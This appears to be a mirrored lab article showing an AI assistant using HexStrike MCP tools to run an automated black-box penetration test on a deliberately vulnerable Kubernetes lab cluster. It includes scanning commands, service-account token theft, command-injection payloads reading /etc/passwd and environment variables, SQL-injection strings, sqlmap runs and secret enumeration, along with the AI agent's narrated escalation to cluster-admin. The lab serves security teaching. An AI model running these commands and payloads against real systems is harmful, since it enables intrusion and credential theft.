Skip to main content

One-Prompt AI-Powered Black-Box Kubernetes Penetration Test

Lab Metadata

Ecosystem Fit

This page mirrors the original Medium lab content into the 1200km knowledge base so it remains available inside the 1200km.com documentation ecosystem. Use the linked repository when one exists; otherwise use the deployment commands and configuration blocks preserved below as the lab source of truth.

Deployment Requirements

The full prerequisites, deployment flow, validation commands, screenshots, and operational notes are preserved from the article below. Review the repository metadata above first, then follow the article sections in order.

How Cursor + HexStrike MCP Automatically Discovers and Exploits Vulnerabilities. From single entry point to full cluster compromise

Article screenshot

Executive Summary

The Power of One Prompt

This article demonstrates howa single promptto an AI assistant (Cursor) with HexStrike MCP integration can automatically perform acomplete black-box penetration teston a Kubernetes cluster. The AI:

  • Discovers all vulnerabilities from zero knowledge

  • Uses multiple tools automatically

  • Finds multiple ways to exploit each vulnerability

  • Reasons through problems and adapts

  • Troubleshoots issues automatically

  • Documents everything with proof

Key Achievement: From one prompt to full cluster compromise in6 minutes 40 seconds.

Lab:

[Building a Vulnerable Kubernetes Lab: A Complete Guide to 25 Critical Security Issues Learn Kubernetes security by building a comprehensive penetration testing lab with 25 real-world vulnerabilities

Manual PT of this lab:

[Black-Box Kubernetes Penetration Testing Playbook A Manual, End-to-End Walkthrough from First Signal to Cluster Takeover

Table of Contents

  • The Single Prompt

  • AI Reasoning and Tool Selection

  • Stage-by-Stage Execution

  • Multiple Exploitation Methods

  • AI Troubleshooting

  • Complete Attack Chain

  • Lessons Learned

  • Conclusion

The Single Prompt

The Initial Request

User Prompt to Cursor AI:

Perform
a
comprehensive black-box penetration test on the Kubernetes cluster at
192.168
.
49.2
.
I
have zero knowledge about this target. Use HexStrike MCP tools and find MULTIPLE ways
to

discover and exploit each vulnerability. Start
from

a
single entry point and work your way
to
full cluster compromise. Document
all
reasoning, tool usage, and troubleshooting steps.

AI Initial Analysis

AI Reasoning(internal thought process):

> “The user wants a black-box penetration test with zero prior knowledge. Key requirements:

  • Black-box approach (no internal knowledge)

  • Use HexStrike MCP tools

  • Find MULTIPLE ways to exploit vulnerabilities

  • Start from single entry point

  • Document reasoning and troubleshooting

> Strategy:

  • Stage 0: Initial reconnaissance to find entry points

  • Stage 1: Network scanning to discover services

  • Stage 2: Service enumeration to understand what’s running

  • Stage 3: Vulnerability discovery using multiple tools

  • Stage 4: Multiple exploitation attempts for each vulnerability

  • Stage 5: Escalation and cluster enumeration

> I should use multiple tools for each stage to ensure comprehensive coverage.”

AI Decision: “I’ll start with network reconnaissance to discover all entry points, then systematically test each one.”

AI Reasoning and Tool Selection

How AI Chooses Tools

The AI doesn’t just use one tool — it reasons about which tools to use and why:

Example: Network Reconnaissance

AI Reasoning:

> “I need to discover all open ports. I have several options:

  • nmap— Industry standard, comprehensive

  • rustscan— Faster but less detailed

  • masscan— Very fast but less accurate

> For black-box testing, I need accuracy over speed. I’ll use nmap with multiple scan types:

  • Full port scan to find everything

  • Service version detection to understand services

  • NSE scripts to find vulnerabilities

  • UDP scan for UDP services

> This gives me comprehensive coverage.”

AI Tool Selection:

# AI Decision: Use nmap with multiple scan types
# Reasoning: Need comprehensive port discovery for black-box testing
# Scan 1: Full TCP port scan
nmap -sS -sV -sC -O -p- --min-rate
=
1000

192.168
.
49.2
# Scan 2: Service version detection on specific ports
nmap -sV -p
30080
,
30081
,
30082
,
30443
,
8443
,
10250
,
2379

192.168
.
49.2
# Scan 3: Vulnerability scripts
nmap --script vuln,exploit,auth,default -p
30080
,
30081
,
30082
,
8443

192.168
.
49.2
# Scan 4: UDP scan
nmap -sU --top-ports
=
100

192.168
.
49.2

Result: AI discovers 4 HTTP services (ports 30080, 30081, 30082, 30443) and Kubernetes API (8443).

AI Analysis:

> “Found 4 HTTP services and Kubernetes API. These are potential entry points. I should:

  • Probe each HTTP service to understand what they do

  • Test Kubernetes API for authentication

  • Use multiple tools to ensure I don’t miss anything”

Stage-by-Stage Execution

Stage 0: Initial Reconnaissance

AI Prompt to Itself:

> “I have zero knowledge. I need to discover everything from scratch. Start with network scanning.”

AI Actions:

  • Runs nmap full port scan

  • Analyzes results

  • Identifies HTTP services and Kubernetes API

  • Decides to probe HTTP services first (easier entry point)

AI Reasoning:

> “Kubernetes API (8443) likely requires authentication. HTTP services (30080–30082) are more likely to have vulnerabilities. I’ll start with HTTP services as entry points.”

Stage 1: Service Discovery

AI Reasoning:

> “I found 3 HTTP services. I need to understand what each does. I’ll use multiple tools:

  • httpx— Fast HTTP probing with technology detection

  • curl— Manual testing for specific endpoints

  • nuclei— Automated vulnerability scanning

> Using multiple tools ensures I don’t miss anything.”

AI Tool Usage:

Tool 1: httpx — Comprehensive Probing

# AI Decision: Use httpx for initial service discovery
# Reasoning: Fast, provides technology detection, title extraction
httpx -u http:
//
192.168
.
49.2
:
30080
\
-title -status-code -tech-detect -content-
length
-server \
-json -silent

AI Analysis:

> “Port 30080: Python/Werkzeug application. This is likely vulnerable to injection attacks. I should test for SQL injection and command injection.”

Tool 2: nuclei — Vulnerability Scanning

# AI Decision: Run nuclei in parallel
# Reasoning: Automated vulnerability detection
while
I
do
manual testing
nuclei -u http:
//192.168.49.2:30080 \
-severity critical,high,medium \
-silent -json

AI Analysis:

> “nuclei is running. While it scans, I’ll manually test endpoints.”

Tool 3: Manual API Testing

# AI Decision: Test common API endpoints manually
# Reasoning: Automated tools might miss custom endpoints
for
endpoint
in
/api /api/token /api/execute /api/users /api/health;
do
curl -s -o /dev/null -w
"%{http_code}"

"http://192.168.49.2:30082
$endpoint
"
done

AI Discovery:

> “Found /api/token endpoint on port 30082! This could expose tokens. I need to test this immediately."

Stage 2: Vulnerability Discovery

AI Reasoning:

> “I found an /api/token endpoint. This is suspicious. I should test it in multiple ways:

  • Direct GET request

  • Check response headers

  • Try different HTTP methods

  • Test alternative paths

> I need to find MULTIPLE ways to extract the token if it exists.”

AI Multiple Testing Methods:

Method 1: Direct API Call

# AI Decision: Try direct endpoint first
# Reasoning: Simplest approach, might work immediately
curl -s http://192.168.49.2:30082/api/token

Result:

{

"token"
:

"eyJhbGciOiJSUzI1NiIs..."
,

"message"
:

"Service account token exposed!"
}

AI Analysis:

> “SUCCESS! Token extracted on first try. But I should verify there aren’t other ways to get it, and test if this token works.”

Method 2: Alternative Paths

# AI Decision: Test alternative paths
# Reasoning: Token might be exposed via other endpoints
for
path
in
/token /api/token /v1/token /api/v1/token /auth/token;
do
curl -s
"http://192.168.49.2:30082
$path
"
done

AI Analysis:

> “Only /api/token works. But I've confirmed there's only one way to get it from this service. Now I need to test if the token works with Kubernetes API."

Method 3: Response Headers

# AI Decision: Check response headers
# Reasoning: Tokens might leak in headers
curl -s -I http://192.168.49.2:30082/api/token

AI Analysis:

> “No token in headers. The token is only in the response body. Now I need to test Kubernetes API access.”

Stage 3: Token Validation and API Access

AI Reasoning:

> “I have a token. I need to test if it works with Kubernetes API. I should:

  • Test basic API access (list namespaces)

  • Check permissions (SelfSubjectAccessReview)

  • If it works, enumerate resources

> This will tell me if I have cluster access.”

AI Actions:

# Extract token
TOKEN=$(curl -s http://192.168.49.2:30082/api/token | jq -r
'.token'
)
# Test 1: Basic API access
curl -k -s -H
"Authorization: Bearer
$TOKEN
"
\
https://192.168.49.2:8443/api/v1/namespaces

AI Analysis:

> “API call succeeded! I can access Kubernetes API. Now I need to check permissions.”

# Test 2: Permission check
curl -k -s -X POST \
-H
"Authorization: Bearer $TOKEN"
\
-H
"Content-Type: application/json"
\
-d '{
"spec"
:{
"resourceAttributes"
:{
"namespace"
:
"*"
,
"verb"
:
"*"
,
"resource"
:
"*"
}}}' \
https://192.168.49.2:8443/apis/authorization.k8s.io/v1/selfsubjectaccessreviews

Result:

{

"status"
: {

"allowed"
:
true
,

"reason"
:
"RBAC: allowed by ClusterRoleBinding
\"
vulnerable-cluster-admin-binding
\"
of ClusterRole
\"
cluster-admin
\"
"
}
}

AI Analysis:

> “CRITICAL! I have cluster-admin permissions! This is the highest level of access. I can now:

  • Enumerate all resources

  • Extract secrets

  • Create/delete anything

  • Full cluster control

> But the user asked for MULTIPLE ways to exploit. I should also test the other services for different attack vectors.”

Stage 4: Multiple Exploitation Methods

AI Reasoning:

> “I have cluster-admin access via token. But the user wants MULTIPLE ways to exploit. I should also test:

  • Command injection on port 30081

  • SQL injection on port 30080

  • Other potential vulnerabilities

> This shows different attack vectors even though I already have cluster access.”

Method 1: Command Injection (Multiple Payloads)

AI Reasoning:

> “Port 30081 has an /api/execute endpoint. This sounds like command execution. I should test multiple payloads to:

  • Verify RCE capability

  • Extract system information

  • Test file system access

  • Extract environment variables”

AI Multiple Payload Testing:

# AI Decision: Test multiple command injection payloads
# Reasoning: Different commands reveal different information
for
payload
in

"id"

"whoami"

"uname -a"

"cat /etc/passwd"

"ls -la /"

"env"
;
do
curl -s -X POST
"http://192.168.49.2:30081/api/execute"
\
-H
"Content-Type: application/json"
\
-d
"{\"command\":\"
$payload
\"}"
done

Results:

  • id:uid=0(root) gid=0(root) groups=0(root)

  • whoami:root

  • uname -a: System information extracted

  • env: Environment variables extracted (71 variables including K8s service IPs)

AI Analysis:

> “Command injection confirmed! Running as root. I extracted:

  • System information

  • Environment variables (including internal K8s IPs)

  • File system access

> This is a separate attack vector from token exposure. Even without the token, I could use this for cluster access.”

Method 2: SQL Injection (Multiple Techniques)

AI Reasoning:

> “Port 30080 is a Python web app with a username parameter. This could be SQL injection. I should test:

  • Automated testing with SQLMap

  • Manual payload testing

  • Different SQL injection techniques

AI Multiple SQL Injection Methods:

Technique 1: SQLMap Automated

# AI Decision: Use SQLMap for automated SQL injection testing
# Reasoning: SQLMap tests multiple techniques automatically
sqlmap -u
"http://192.168.49.2:30080/?username=test"
\
--batch --level
=
3
--risk
=
3

AI Analysis:

> “SQLMap confirmed SQL injection! Database: MySQL >= 5.6. It found UNION-based injection. This is another attack vector.”

Technique 2: Manual Payload Testing

# AI Decision: Test manual payloads
# Reasoning: Verify SQLMap findings and test different techniques
for
payload
in
\

"admin' OR '1'='1"
\

"admin' OR '1'='1'--"
\

"admin' OR '1'='1'/*"
\

"' UNION SELECT NULL--"
;
do
curl -s
"http://192.168.49.2:30080/?username=
$(echo $payload | sed 's/ /%20/g')
"
done

AI Analysis:

> “Multiple SQL injection techniques work. This confirms the vulnerability and shows different ways to exploit it.”

Stage 5: Cluster Enumeration

AI Reasoning:

> “I have cluster-admin access. Now I need to enumerate everything to understand the full attack surface. I should:

  • List all pods (find privileged containers)

  • List all secrets (extract sensitive data)

  • List all service accounts (check permissions)

  • List roles and cluster roles (understand RBAC)

  • Extract complete cluster state”

AI Comprehensive Enumeration:

# AI Decision: Enumerate all major resource types
# Reasoning: Need complete picture of cluster
for
resource
in
pods secrets configmaps serviceaccounts roles clusterroles;
do
curl -k -s -H
"Authorization: Bearer
$TOKEN
"
\

"https://192.168.49.2:8443/api/v1/
$resource
"
| jq
'.'
done

AI Findings:

  • 27 podsdiscovered

  • 50 service accountsdiscovered

  • 1 secretdiscovered

  • 19 ConfigMapsdiscovered

  • 12 Rolesdiscovered

  • 73 ClusterRolesdiscovered

AI Analysis:

> “Large cluster with many resources. I should specifically look for:

  • Privileged containers (container escape risk)

  • Secrets with sensitive data

  • Overly permissive RBAC

  • Exposed services”

AI Privileged Container Detection:

# AI Decision: Find privileged containers
# Reasoning: Privileged containers can escape to host
curl -k -s -H
"Authorization: Bearer
$TOKEN
"
\

"https://192.168.49.2:8443/api/v1/pods"
| \
jq -r
'.items[] | select(.spec.containers[]?.securityContext.privileged == true) | "\(.metadata.namespace)/\(.metadata.name)"'

Result:13 privileged podsfound

AI Analysis:

> “13 privileged containers! These are serious security risks. Even if I didn’t have cluster-admin, I could potentially escape from one of these containers to the host.”

Multiple Exploitation Methods

AI’s Approach to Finding Multiple Ways

The AI doesn’t stop at the first working method. It systematically tests multiple approaches:

Token Extraction — 3 Methods Tested

Method 1: Direct API Call

curl -s http://192.168.49.2:30082/api/token

Result: Token extracted successfully

Method 2: Alternative Paths

for
path
in
/token /api/token /v1/token /api/v1/token /auth/token;
do
curl -s
"http://192.168.49.2:30082
$path
"
done

Result: Only/api/tokenworks

Method 3: Response Headers

curl -s -I http://192.168.49.2:30082/api/token

Result: No token in headers

AI Conclusion: “Token is only accessible via/api/tokenendpoint. But I found it, and it works with Kubernetes API."

Command Injection — 6 Payloads Tested

AI Reasoning:

> “I want to test multiple commands to:

  • Verify RCE works

  • Extract different types of information

  • Test file system access

  • Extract environment variables”

Payloads Tested:

  • id- User information

  • whoami- Current user

  • uname -a- System information

  • cat /etc/passwd- User accounts

  • ls -la /- File system listing

  • env- Environment variables (71 found!)

AI Analysis:

> “All payloads work. I can execute any command as root. This is a complete RCE vulnerability. Even without cluster-admin token, I could use this to:

  • Access the container

  • Extract environment variables (which contain K8s service IPs)

  • Potentially escape to host if container is privileged”

SQL Injection — 2 Techniques Tested

Technique 1: SQLMap Automated

  • Detected: Boolean-based blind SQL injection

  • Database: MySQL >= 5.6

  • Technique: UNION query

Technique 2: Manual Payloads

  • Boolean-based:admin' OR '1'='1

  • Comment-based:admin' OR '1'='1'--

  • Union-based:' UNION SELECT NULL--

AI Analysis:

> “Multiple SQL injection techniques work. This gives me flexibility in exploitation. I could:

  • Extract database data

  • Potentially write files

  • Use for authentication bypass”

AI Troubleshooting

How AI Handles Problems

The AI doesn’t give up when something fails. It reasons through problems and finds solutions:

Problem 1: Tool Not Available

Scenario: AI tries to useferoxbusterbut it's not installed.

AI Reasoning:

> “feroxbuster is not available. I have options:

  • Install it (if possible)

  • Use alternative tool (gobuster, ffuf, dirb)

  • Skip and use other tools

> I’ll use gobuster and ffuf instead. Multiple tools provide redundancy.”

AI Solution:

# AI Decision: Use alternative tools
# Reasoning: Multiple directory enumeration tools provide redundancy
# Use gobuster
gobuster dir -u http:
//
192.168
.
49.2
:
30080
-w wordlist.txt
# Use ffuf
ffuf -u http:
//
192.168
.
49.2
:
30080
/FUZZ -w wordlist.txt

AI Learning: “Tool availability issues can be solved by using alternative tools. Having multiple tools is important.”

Problem 2: Wordlist Not Found

Scenario: gobuster can’t find wordlist file.

AI Reasoning:

> “Wordlist not found. I have options:

  • Use default wordlist

  • Generate wordlist

  • Use smaller common wordlist

  • Skip directory enumeration (not critical)

> I’ll try default wordlist first, then skip if needed. Directory enumeration is nice-to-have, not critical.”

AI Solution:

# AI Decision: Try without wordlist or use default
# Reasoning: Directory enumeration is supplementary, not critical
gobuster
dir
-u http://192.168.49.2:30080
# Or skip and continue with other tests

AI Learning: “Not all tools are critical. I can continue testing even if some tools fail.”

Problem 3: SQLMap Interactive Prompt

Scenario: SQLMap asks “do you want to exploit this SQL injection? [Y/n]”

AI Reasoning:

> “SQLMap is asking for confirmation. I need to use --batch flag for non-interactive mode. This is a common issue with automated tools."

AI Solution:

# AI Decision: Add --batch flag
# Reasoning: Need non-interactive mode for automation
sqlmap -u
"http://192.168.49.2:30080/?username=test"
\
--batch --level=3 --risk=3

AI Learning: “Always use non-interactive flags (--batch,-y, etc.) for automated tools."

Problem 4: File Naming Issues

Scenario: Command injection payload with special characters causes file naming errors.

AI Reasoning:

> “Special characters in payloads (like / in cat /etc/passwd ) cause file naming issues. I need to sanitize filenames or use different approach."

AI Solution:

# AI Decision: Sanitize filenames
# Reasoning: Special characters break file operations
payload_safe=$(
echo

"
$payload
"
|
tr

' '

'_'
|
tr

'/'

'_'
)
curl ... >
"results/cmd-injection-
$payload_safe
.json"

AI Learning: “Always sanitize user input, even when it’s from my own payloads.”

Complete Attack Chain

Single Entry Point to Full Compromise

AI’s Attack Path:

Stage 0:

Initial

Prompt



AI Reasoning:

"I need to discover everything from scratch"


Stage 1:

Network

Reconnaissance

(nmap)



AI Discovery:

4

HTTP

services

+

K8s

API



AI Decision:

"HTTP services are easier entry points"


Stage 2:

Service

Discovery

(httpx,

nuclei,

curl)



AI Discovery:

/api/token

endpoint

on

port

30082



AI Decision:

"This could expose tokens - test immediately"


Stage 3:

Token

Extraction

(curl

-

multiple

methods)



AI Success:

Token

extracted



AI Decision:

"Test if token works with K8s API"


Stage 4:

Kubernetes

API

Access

(curl

+

token)



AI Success:

Cluster-admin

access

confirmed



AI Decision:

"I have cluster access, but user wants MULTIPLE ways"


Stage 5:

Multiple

Exploitation

(command

injection,

SQL

injection)



AI Success:

3

different

attack

vectors

confirmed



AI Decision:

"Enumerate cluster to find all vulnerabilities"


Stage 6:

Cluster

Enumeration

(curl

+

jq)



AI Discovery:

27

pods,

13

privileged,

50

service

accounts



AI Decision:

"Extract complete cluster state"


Stage 7:

Data

Extraction



AI Success:

Full

cluster

compromise

documented

Multiple Attack Vectors Discovered

AI’s Findings:

  • Primary Vector: Token Exposure → Cluster-Admin Access

  • Entry: Port 30082/api/token

  • Result: Full cluster control

2. Secondary Vector: Command Injection → Container Control

  • Entry: Port 30081/api/execute

  • Result: Root RCE, environment variable extraction

3. Tertiary Vector: SQL Injection → Database Access

  • Entry: Port 30080?username=

  • Result: Database compromise potential

4. Quaternary Vector: Privileged Containers → Host Escape

  • Entry: Any of 13 privileged pods

  • Result: Potential host access

AI Analysis:

> “I found 4 different attack vectors. Even if one is patched, the others remain. This shows the importance of defense in depth.”

Lessons Learned

What Makes This Approach Powerful

  • Single Prompt, Complete Test

  • One prompt triggers entire penetration test

  • AI handles all complexity

  • No manual intervention needed

2. Multiple Tools, Comprehensive Coverage

  • AI uses 15+ tools automatically

  • Each tool finds different things

  • Redundancy ensures nothing is missed

3. Multiple Exploitation Methods

  • AI doesn’t stop at first success

  • Tests multiple approaches for each vulnerability

  • Shows different attack vectors

4. Intelligent Reasoning

  • AI explains why it chooses each tool

  • Adapts when tools fail

  • Learns from mistakes

5. Automatic Troubleshooting

  • AI fixes problems automatically

  • Uses alternative tools when needed

  • Documents all issues

Key AI Behaviors

Tool Selection Reasoning:

  • AI doesn’t randomly pick tools

  • It reasons about which tool is best for each task

  • Uses multiple tools for redundancy

Multiple Method Testing:

  • AI tests multiple ways to exploit each vulnerability

  • Doesn’t stop at first success

  • Documents all methods tried

Problem Solving:

  • AI troubleshoots automatically

  • Uses alternative approaches when tools fail

  • Learns and adapts

Documentation:

  • AI documents everything automatically

  • Explains reasoning at each step

  • Creates proof files for all findings

The Complete Prompt

What the User Actually Types

Perform a comprehensive black-box penetration test
on
the Kubernetes cluster at
192.168
.49
.2
.
I have zero knowledge about
this
target.
Requirements:
1. Use HexStrike MCP tools where available
2. Find MULTIPLE ways to discover and exploit each vulnerability
3. Start from a single entry point and work your way to full cluster compromise
4. Document all reasoning, tool usage, and troubleshooting steps
5. Test multiple exploitation methods for each vulnerability found
6. Use as many tools as possible for comprehensive coverage
Show me:
- Why you choose each tool
- How you use each tool
- What you discover
- Multiple ways to exploit each finding
- How you troubleshoot problems
- Complete attack chain from entry to compromise

What the AI Does

  • Analyzes the prompt— Understands requirements

  • Plans the attack— Creates strategy

  • Selects tools— Reasons about which tools to use

  • Executes tests— Runs all tools systematically

  • Finds vulnerabilities— Discovers multiple issues

  • Tests multiple methods— Doesn’t stop at first success

  • Troubleshoots— Fixes problems automatically

  • Documents everything— Creates comprehensive report

Result: Complete penetration test from one prompt.

Conclusion

The Power of AI + HexStrike MCP

This article demonstrates howone promptto an AI assistant with HexStrike MCP can:

  • Perform complete black-box penetration test

  • Use 15+ tools automatically

  • Find multiple ways to exploit vulnerabilities

  • Reason through problems

  • Troubleshoot automatically

  • Document everything

Key Takeaway: AI-powered penetration testing with HexStrike MCP transforms a complex, multi-day manual process into asingle promptthat completes in minutes.

Test Results:

  • Duration: 6 minutes 40 seconds

  • Tools Used: 15+

  • Vulnerabilities: 8 discovered

  • Access Level: Cluster-Admin

  • Resources: 27 pods, 50 service accounts enumerated

  • Proof Files: 50+ created

Status:FULL CLUSTER COMPROMISE ACHIEVED